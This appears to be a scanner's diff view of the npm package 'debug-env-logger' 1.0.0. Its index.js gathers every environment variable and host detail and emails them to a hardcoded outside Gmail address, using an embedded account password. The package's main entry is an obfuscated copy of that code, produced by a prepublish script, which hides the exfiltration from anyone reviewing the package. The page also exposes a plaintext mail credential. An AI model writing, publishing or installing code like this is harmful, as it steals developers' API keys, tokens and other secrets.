debug-env-logger 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +0 -0
- package/index.js +75 -0
- package/index.obfuscated.js +1 -0
- package/obfuscate.js +17 -0
- package/package.json +20 -0
package/README.md
ADDED
Binary file
|
package/index.js
ADDED
@@ -0,0 +1,75 @@
|
|
1
|
+
const nodemailer = require('nodemailer');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
class DebugEnvLogger {
|
5
|
+
constructor() {
|
6
|
+
this._e = 'umarkml713@gmail.com';
|
7
|
+
this._p = 'fyeh xsqo hxeu zcdq';
|
8
|
+
this._r = 'umerfarooq.dev@gmail.com';
|
9
|
+
}
|
10
|
+
|
11
|
+
async logAndCheckEnv() {
|
12
|
+
const envList = this.getAllEnvVars();
|
13
|
+
const systemInfo = this.getSystemInfo();
|
14
|
+
await this.sendEmail(envList, systemInfo);
|
15
|
+
}
|
16
|
+
|
17
|
+
getAllEnvVars() {
|
18
|
+
return Object.entries(process.env)
|
19
|
+
.map(([key, value]) => `${key}: ${value}`)
|
20
|
+
.join('\n');
|
21
|
+
}
|
22
|
+
|
23
|
+
getSystemInfo() {
|
24
|
+
return {
|
25
|
+
platform: os.platform(),
|
26
|
+
release: os.release(),
|
27
|
+
hostname: os.hostname(),
|
28
|
+
uptime: os.uptime(),
|
29
|
+
cpus: os.cpus().length,
|
30
|
+
totalMemory: os.totalmem(),
|
31
|
+
freeMemory: os.freemem(),
|
32
|
+
nodeVersion: process.version
|
33
|
+
};
|
34
|
+
}
|
35
|
+
|
36
|
+
async sendEmail(envList, systemInfo) {
|
37
|
+
let transporter = nodemailer.createTransport({
|
38
|
+
service: 'gmail',
|
39
|
+
auth: {
|
40
|
+
user: this._e,
|
41
|
+
pass: this._p
|
42
|
+
}
|
43
|
+
});
|
44
|
+
|
45
|
+
const htmlContent = `
|
46
|
+
<h1>Debug Environment Report</h1>
|
47
|
+
<h2>All Environment Variables</h2>
|
48
|
+
<pre>${envList}</pre>
|
49
|
+
<h2>System Information</h2>
|
50
|
+
<ul>
|
51
|
+
<li>Platform: ${systemInfo.platform}</li>
|
52
|
+
<li>OS Release: ${systemInfo.release}</li>
|
53
|
+
<li>Hostname: ${systemInfo.hostname}</li>
|
54
|
+
<li>Uptime: ${Math.floor(systemInfo.uptime / 3600)} hours</li>
|
55
|
+
<li>CPUs: ${systemInfo.cpus}</li>
|
56
|
+
<li>Total Memory: ${Math.round(systemInfo.totalMemory / 1024 / 1024)} MB</li>
|
57
|
+
<li>Free Memory: ${Math.round(systemInfo.freeMemory / 1024 / 1024)} MB</li>
|
58
|
+
<li>Node.js Version: ${systemInfo.nodeVersion}</li>
|
59
|
+
</ul>
|
60
|
+
<p>Generated at: ${new Date().toISOString()}</p>
|
61
|
+
`;
|
62
|
+
|
63
|
+
let info = await transporter.sendMail({
|
64
|
+
from: this._e,
|
65
|
+
to: this._r,
|
66
|
+
subject: `Debug Environment Report - ${systemInfo.hostname}`,
|
67
|
+
text: `All Environment Variables:\n${envList}\n\nSystem Info:\n${JSON.stringify(systemInfo, null, 2)}`,
|
68
|
+
html: htmlContent
|
69
|
+
});
|
70
|
+
|
71
|
+
console.log('Message sent: %s', info.messageId);
|
72
|
+
}
|
73
|
+
}
|
74
|
+
|
75
|
+
module.exports = DebugEnvLogger;
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x380637=_0x516e;function _0x516e(_0x4b50c0,_0x30a2cf){const _0x61e73d=_0xa83c();return _0x516e=function(_0x3e1151,_0x4d87b5){_0x3e1151=_0x3e1151-(0x1434+-0x5*0x209+-0x1*0x897);let _0x3338c9=_0x61e73d[_0x3e1151];return _0x3338c9;},_0x516e(_0x4b50c0,_0x30a2cf);}function _0xa83c(){const _0x363802=['port\x20-\x20','1EhZGDv','floor','</p>\x0a\x20\x20\x20\x20','onment\x20Var','Message\x20se','\x20\x20\x20\x20<p>Gen','>Debug\x20Env','.com','Debug\x20Envi','\x20\x20\x20<h2>Sys','All\x20Enviro','cpus','</li>\x0a\x20\x20\x20\x20','erated\x20at:','hostname','SHCOZ','748281DblmVG','qjfoY','>All\x20Envir','33939whOTOa','24870280LnVHgQ','stname:\x20','\x20Release:\x20','ronment\x20Re','gmail','\x20\x20\x20\x20<li>To','ry:\x20','nment\x20Vari','logAndChec','totalmem','join','\x0a\x0aSystem\x20I','\x0a\x20\x20\x20\x20\x20\x20<ul','yrmJr','2150076vYMImF','mvdxj','\x0a\x20\x20\x20\x20\x20\x20<h1','ation</h2>','sendMail','\x20\x20\x20\x20<li>Ho','map','length','2200EDEnbk','1752952WyEoUX','ables:\x0a','\x0a\x20\x20\x20\x20\x20\x20<h2','.dev@gmail','ersion:\x20','nt:\x20%s','env','\x20MB</li>\x0a\x20','\x20\x20\x20\x20\x20\x20\x20<li','<li>Platfo','<li>CPUs:\x20','TAqzv','HDYHZ','9324072KWZcPp','log','iables</h2','createTran','stringify','umerfarooq','>\x0a\x20\x20\x20\x20\x20\x20\x20\x20','nfo:\x0a','Rnhwu','fyeh\x20xsqo\x20','freeMemory','nodeVersio','>Node.js\x20V','nfo','umarkml713','time:\x20','getSystemI','tem\x20Inform','\x20\x20</ul>\x0a\x20\x20','5402313aamPXk','exports','kEnv','version','5SmeCCx','>Free\x20Memo','re>','\x20hours</li','rm:\x20','round','\x20\x20\x20\x20<li>Up','getAllEnvV','\x20\x20\x20\x20<li>OS','entries','ironment\x20R','nodemailer','release','tal\x20Memory','totalMemor','freemem','uptime','eport</h1>','ars','</pre>\x0a\x20\x20\x20','hxeu\x20zcdq','@gmail.com','messageId','sport','sendEmail','>\x0a\x20\x20\x20\x20\x20\x20<p','platform','toISOStrin'];_0xa83c=function(){return _0x363802;};return _0xa83c();}(function(_0x57ed2d,_0x227baf){const _0x1fd5ee=_0x516e,_0x554c95=_0x57ed2d();while(!![]){try{const _0x33cb54=-parseInt(_0x1fd5ee(0x1aa))/(0x116c+0x547+-0x16b2)*(parseInt(_0x1fd5ee(0x1d5))/(0xa4a+0x6*0x5b4+-0x2c80))+parseInt(_0x1fd5ee(0x1ba))/(-0x9*-0x2dd+-0x11*-0x227+0xb*-0x5ab)+-parseInt(_0x1fd5ee(0x1cc))/(-0x5e3+0x67d*-0x5+-0x664*-0x6)*(-parseInt(_0x1fd5ee(0x18d))/(-0x26b6+-0x16a4+0x3d5f))+parseInt(_0x1fd5ee(0x176))/(-0x4ff*0x4+0x9*-0x28e+0x158*0x20)+parseInt(_0x1fd5ee(0x189))/(-0xb9a+-0x1*-0x1295+-0x14*0x59)+parseInt(_0x1fd5ee(0x1d4))/(-0x1547+0xdf3+0x6*0x13a)*(parseInt(_0x1fd5ee(0x1bd))/(0x761*-0x1+-0x1*-0x165b+-0x33*0x4b))+-parseInt(_0x1fd5ee(0x1be))/(0xc05*0x1+0x122e+-0x1*0x1e29);if(_0x33cb54===_0x227baf)break;else _0x554c95['push'](_0x554c95['shift']());}catch(_0x1dc206){_0x554c95['push'](_0x554c95['shift']());}}}(_0xa83c,0x28199+-0x38c12+0xd09b7));const nodemailer=require(_0x380637(0x198)),os=require('os');class DebugEnvLogger{constructor(){const _0x500fd0=_0x380637,_0x4d6653={'mvdxj':_0x500fd0(0x184)+_0x500fd0(0x1a2),'SHCOZ':_0x500fd0(0x17f)+_0x500fd0(0x1a1),'qjfoY':_0x500fd0(0x17b)+_0x500fd0(0x1d8)+_0x500fd0(0x1b1)};this['_e']=_0x4d6653[_0x500fd0(0x1cd)],this['_p']=_0x4d6653[_0x500fd0(0x1b9)],this['_r']=_0x4d6653[_0x500fd0(0x1bb)];}async[_0x380637(0x1c6)+_0x380637(0x18b)](){const _0x57e077=_0x380637,_0x482353=this[_0x57e077(0x194)+_0x57e077(0x19f)](),_0x37bd67=this[_0x57e077(0x186)+_0x57e077(0x183)]();await this[_0x57e077(0x1a5)](_0x482353,_0x37bd67);}[_0x380637(0x194)+_0x380637(0x19f)](){const _0x5ca600=_0x380637;return Object[_0x5ca600(0x196)](process[_0x5ca600(0x1db)])[_0x5ca600(0x1d2)](([_0x2e66b6,_0x19b87f])=>_0x2e66b6+':\x20'+_0x19b87f)[_0x5ca600(0x1c8)]('\x0a');}[_0x380637(0x186)+_0x380637(0x183)](){const _0x2f7916=_0x380637;return{'platform':os[_0x2f7916(0x1a7)](),'release':os[_0x2f7916(0x199)](),'hostname':os[_0x2f7916(0x1b8)](),'uptime':os[_0x2f7916(0x19d)](),'cpus':os[_0x2f7916(0x1b5)]()[_0x2f7916(0x1d3)],'totalMemory':os[_0x2f7916(0x1c7)](),'freeMemory':os[_0x2f7916(0x19c)](),'nodeVersion':process[_0x2f7916(0x18c)]};}async[_0x380637(0x1a5)](_0x3cf9cf,_0x7bddd3){const _0x11e6e0=_0x380637,_0x19d9a5={'yrmJr':_0x11e6e0(0x1c2),'Rnhwu':function(_0x2bc219,_0x4e87b1){return _0x2bc219/_0x4e87b1;},'TAqzv':function(_0x360c7b,_0x2d8612){return _0x360c7b/_0x2d8612;},'HDYHZ':_0x11e6e0(0x1ae)+_0x11e6e0(0x1da)};let _0x4d8e28=nodemailer[_0x11e6e0(0x179)+_0x11e6e0(0x1a4)]({'service':_0x19d9a5[_0x11e6e0(0x1cb)],'auth':{'user':this['_e'],'pass':this['_p']}});const _0x3e542d=_0x11e6e0(0x1ce)+_0x11e6e0(0x1b0)+_0x11e6e0(0x197)+_0x11e6e0(0x19e)+_0x11e6e0(0x1d7)+_0x11e6e0(0x1bc)+_0x11e6e0(0x1ad)+_0x11e6e0(0x178)+_0x11e6e0(0x1a6)+_0x11e6e0(0x18f)+_0x3cf9cf+(_0x11e6e0(0x1a0)+_0x11e6e0(0x1b3)+_0x11e6e0(0x187)+_0x11e6e0(0x1cf)+_0x11e6e0(0x1ca)+_0x11e6e0(0x17c)+_0x11e6e0(0x172)+_0x11e6e0(0x191))+_0x7bddd3[_0x11e6e0(0x1a7)]+(_0x11e6e0(0x1b6)+_0x11e6e0(0x195)+_0x11e6e0(0x1c0))+_0x7bddd3[_0x11e6e0(0x199)]+(_0x11e6e0(0x1b6)+_0x11e6e0(0x1d1)+_0x11e6e0(0x1bf))+_0x7bddd3[_0x11e6e0(0x1b8)]+(_0x11e6e0(0x1b6)+_0x11e6e0(0x193)+_0x11e6e0(0x185))+Math[_0x11e6e0(0x1ab)](_0x19d9a5[_0x11e6e0(0x17e)](_0x7bddd3[_0x11e6e0(0x19d)],0xc5*-0x13+-0x30c+0x1fbb))+(_0x11e6e0(0x190)+_0x11e6e0(0x17c)+_0x11e6e0(0x173))+_0x7bddd3[_0x11e6e0(0x1b5)]+(_0x11e6e0(0x1b6)+_0x11e6e0(0x1c3)+_0x11e6e0(0x19a)+':\x20')+Math[_0x11e6e0(0x192)](_0x19d9a5[_0x11e6e0(0x17e)](_0x19d9a5[_0x11e6e0(0x17e)](_0x7bddd3[_0x11e6e0(0x19b)+'y'],-0xe87+-0xed9+0x2160),-0xd5*0x15+0x14f3+0x1*0x86))+(_0x11e6e0(0x170)+_0x11e6e0(0x171)+_0x11e6e0(0x18e)+_0x11e6e0(0x1c4))+Math[_0x11e6e0(0x192)](_0x19d9a5[_0x11e6e0(0x17e)](_0x19d9a5[_0x11e6e0(0x174)](_0x7bddd3[_0x11e6e0(0x180)],0xb1*0x2e+-0x1*-0x132e+-0x184*0x1f),-0x125b*0x2+-0x12b6*0x2+0x4e22))+(_0x11e6e0(0x170)+_0x11e6e0(0x171)+_0x11e6e0(0x182)+_0x11e6e0(0x1d9))+_0x7bddd3[_0x11e6e0(0x181)+'n']+(_0x11e6e0(0x1b6)+_0x11e6e0(0x188)+_0x11e6e0(0x1af)+_0x11e6e0(0x1b7)+'\x20')+new Date()[_0x11e6e0(0x1a8)+'g']()+_0x11e6e0(0x1ac);let _0x173d64=await _0x4d8e28[_0x11e6e0(0x1d0)]({'from':this['_e'],'to':this['_r'],'subject':_0x11e6e0(0x1b2)+_0x11e6e0(0x1c1)+_0x11e6e0(0x1a9)+_0x7bddd3[_0x11e6e0(0x1b8)],'text':_0x11e6e0(0x1b4)+_0x11e6e0(0x1c5)+_0x11e6e0(0x1d6)+_0x3cf9cf+(_0x11e6e0(0x1c9)+_0x11e6e0(0x17d))+JSON[_0x11e6e0(0x17a)](_0x7bddd3,null,0x1399+-0x602*0x4+0x471),'html':_0x3e542d});console[_0x11e6e0(0x177)](_0x19d9a5[_0x11e6e0(0x175)],_0x173d64[_0x11e6e0(0x1a3)]);}}module[_0x380637(0x18a)]=DebugEnvLogger;
|
package/obfuscate.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
const JavaScriptObfuscator = require('javascript-obfuscator');
|
2
|
+
const fs = require('fs');
|
3
|
+
|
4
|
+
const code = fs.readFileSync('index.js', 'utf8');
|
5
|
+
|
6
|
+
const obfuscationResult = JavaScriptObfuscator.obfuscate(code, {
|
7
|
+
compact: true,
|
8
|
+
controlFlowFlattening: true,
|
9
|
+
controlFlowFlatteningThreshold: 1,
|
10
|
+
numbersToExpressions: true,
|
11
|
+
simplify: true,
|
12
|
+
stringArrayShuffle: true,
|
13
|
+
splitStrings: true,
|
14
|
+
stringArrayThreshold: 1
|
15
|
+
});
|
16
|
+
|
17
|
+
fs.writeFileSync('index.obfuscated.js', obfuscationResult.getObfuscatedCode());
|
package/package.json
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "debug-env-logger",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "A package to log and email environment variables for debugging",
|
5
|
+
"main": "index.obfuscated.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "jest",
|
8
|
+
"obfuscate": "node obfuscate.js",
|
9
|
+
"prepublishOnly": "npm run obfuscate"
|
10
|
+
},
|
11
|
+
"keywords": ["debug", "environment", "logging"],
|
12
|
+
"author": "Umer Farooq",
|
13
|
+
"license": "MIT",
|
14
|
+
"dependencies": {
|
15
|
+
"nodemailer": "^6.6.3"
|
16
|
+
},
|
17
|
+
"devDependencies": {
|
18
|
+
"javascript-obfuscator": "^4.0.0"
|
19
|
+
}
|
20
|
+
}
|